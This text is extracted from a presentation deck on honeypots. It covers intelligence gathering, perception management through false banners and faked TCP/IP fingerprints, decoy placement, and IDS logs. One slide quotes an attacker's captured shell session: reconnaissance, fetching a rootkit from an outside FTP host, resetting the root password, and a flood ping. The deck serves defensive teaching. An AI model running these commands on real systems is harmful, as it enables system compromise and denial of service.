Honeypot Advantages & Disadvantages

George Bakos - gbakos@ists.dartmouth.edu
Jay Beale - jay@bastille-linux.org
Honeypot Advantages & Disadvantages

- Intelligence Gathering
- Perception Management
- Engineering Deception
- Isn't an Intrusion Detection System enough?
- Limits, caveats and legal & ethical concerns
Intelligence Gathering

- If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat.

--Sun Tzu, The Art of War
Intelligence Gathering

```
# cd /; ls -alF; w; uname -a; id
# ftp ftp.0catch.com
# ls
# ftp
# open
# ftp.0catch.com

# rootkit.0catch.com
# szopol
# ls
# passwd root
# wget

# ping -f -s 65000 64.58.174.8&
# ps ax
```
Perception Management

Battlefield deception consists of those operations conducted at echelons theater (Army component) and below which purposely mislead enemy decision makers by--

* Distortion.
* Concealment:
* Falsification of indicators of friendly intentions, capabilities, or dispositions.

-- US Army FM-90-2
Perception Management

- False banners
- False TCP/IP stacks
- Decoy systems
- Honeynets
Perception Management
- False Banners -

Under Construction
The site you were trying to reach does not currently have a default page. It may be in the process of being upgraded.

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.
Perception Management
- False Banners -
Perception Management - False TCP/IP Stacks -

# wwww:ttt:mmm:D:W:S:N:I:OS Description
#
# wwww - window size
# ttt  - time to live
# mmm  - maximum segment size
# D    - don't fragment flag (0=unset, 1=set)
# W    - window scaling (-1=not present, other=value)
# S    - sackOK flag (0=unset, 1=set)
# N    - nop flag (0=unset, 1=set)
# I    - packet size (-1 = irrevlevant)
Perception Management
- False TCP/IP Stacks -


16060:64:1460:1:0:1:1:60:Debian/Caldera Linux 2.2.x
8760:255:1380:1:0:0:0:44:Solaris 2.7
Perception Management - Decoys, Honeypots, Honeynets -

- Low Interaction
- High Interaction
- Emulators
- Null Listeners
- Virtual Systems
- Physical Systems
Engineering Deception

...he is skillful in defense whose opponent does not know what to attack.

--Sun Tzu, The Art of War
Engineering Deception
- Exposed Decoys -

Thanks for the intel!
Engineering Deception
- Interleaved Decoys -

DMZ

Thanks for the intel!

Honeypot

WWW

SMTP /DNS

Host

HP

Honeypot

Honeypot

Host

Host

Host
Engineering Deception
- Lateral Decoys -

10.2.8.0/22

10.2.4.0/22

Honeypot Best Practices
Engineering Deception

- Production Honeypots
  - IDS enhancement / augmentation
  - Cloud the battlefield; lay a "Minefield" (Mantrap)
  - Insiders / Outsiders
Engineering Deception

- Research Honeypots
  - 0-day discovery
  - Education & awareness
  - Trend analysis
- Security Alliances
  - ISACs, Honeynet Alliance
Isn't Network IDS enough?

[**] [1:618:2] SCAN Squid Proxy attempt [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/04-08:09:27.772993 216.218.184.2:3704 -> 10.2.87.142:3128
TCP TTL:49 TOS:0x0 ID:35607 IpLen:20 DgmLen:44 DF
******S* Seq: 0x13C82726 Ack: 0x0 Win: 0x4000 TcpLen: 24
TCP Options (1) => MSS: 1412

[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from
216.218.184.2 (THRESHOLD 4 connections exceeded in 0
seconds) [**]
11/04-20:19:09.882416

Snort Network Intrusion Detection System alert
http://www.snort.org
Isn't Network IDS enough?

GET
http://216.218.184.9/pI9Ob6SZcWQR2ODUWOopFg/3128/10-2-87-142 HTTP/1.0
Connection: close
Pragma: no-cache
Accept: text/html
Host: 216.218.184.9
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98)
CLIENT-IP: 10.2.87.142
X-FORWARDED-FOR: 10.2.87.142

Tiny Honeypot log
Isn't Network IDS enough?

GET
http://216.218.184.9/pI9Ob6SZcWQR2ODUWOopFg/81/10-2-87-142 HTTP/1.0
Connection: close
Pragma: no-cache
Accept: text/html
Host: 216.218.184.9
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; AOL 5.0; Windows 98)
CLIENT-IP: 10.2.87.142
X-FORWARDED-FOR: 10.2.87.142

Tiny Honeypot log
Caveats (There's no free lunch)

- if ($value == "high") { $cost = "high" }
  - Deployment costs
  - Analysis costs
  - Potential for greater risk
Caveats (There's no free lunch)
Honeypot Advantages & Disadvantages

George Bakos - gbakos@ists.dartmouth.edu
Jay Beale - jay@bastille-linux.org